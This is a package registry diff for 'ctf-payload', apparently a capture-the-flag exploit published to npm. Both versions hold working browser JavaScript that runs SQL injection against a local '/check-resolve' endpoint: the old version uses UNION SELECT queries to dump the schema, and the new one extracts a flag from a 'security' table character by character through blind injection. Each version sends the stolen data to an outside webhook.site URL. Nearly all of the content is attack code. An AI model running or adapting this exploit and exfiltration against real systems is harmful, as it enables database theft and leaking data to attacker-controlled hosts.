ctf-payload 1.0.58 → 1.0.59

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +20 -12
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,16 +1,24 @@
1
1
  if(window.location.hostname === '127.0.0.1'){
2
- const queries = [
3
- "id=0 UNION SELECT 'TESTSTRING'--",
4
- "id=0 UNION SELECT sql FROM sqlite_master WHERE type='table'--",
5
- "id=0 UNION SELECT name FROM pragma_table_info('security')--"
6
- ];
7
- Promise.all(queries.map(body=>
8
- fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body})
9
- .then(r=>r.text())
10
- .then(t=>body.substring(20,45)+'='+t.substring(0,150))
11
- )).then(results=>{
12
- window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?d='+btoa(unescape(encodeURIComponent(results.join('|'))));
13
- });
2
+ async function extractChar(pos, table, col){
3
+ const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-!@';
4
+ for(let c of chars){
5
+ const body = `id=0 UNION SELECT CASE WHEN (SELECT substr(${col},${pos},1) FROM ${table} LIMIT 1 OFFSET 4)='${c}' THEN 'Done' ELSE 'Not yet' END--`;
6
+ const r = await fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body});
7
+ const t = await r.text();
8
+ if(t.includes('"Done"')) return c;
9
+ }
10
+ return '?';
11
+ }
12
+ async function extract(){
13
+ let result = '';
14
+ for(let i=1;i<=50;i++){
15
+ const c = await extractChar(i,'security','content');
16
+ if(c==='?') break;
17
+ result += c;
18
+ }
19
+ window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?flag='+encodeURIComponent(result);
20
+ }
21
+ extract();
14
22
  } else {
15
23
  window.location='http://127.0.0.1:31337/part2';
16
24
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ctf-payload",
3
- "version": "1.0.58",
3
+ "version": "1.0.59",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"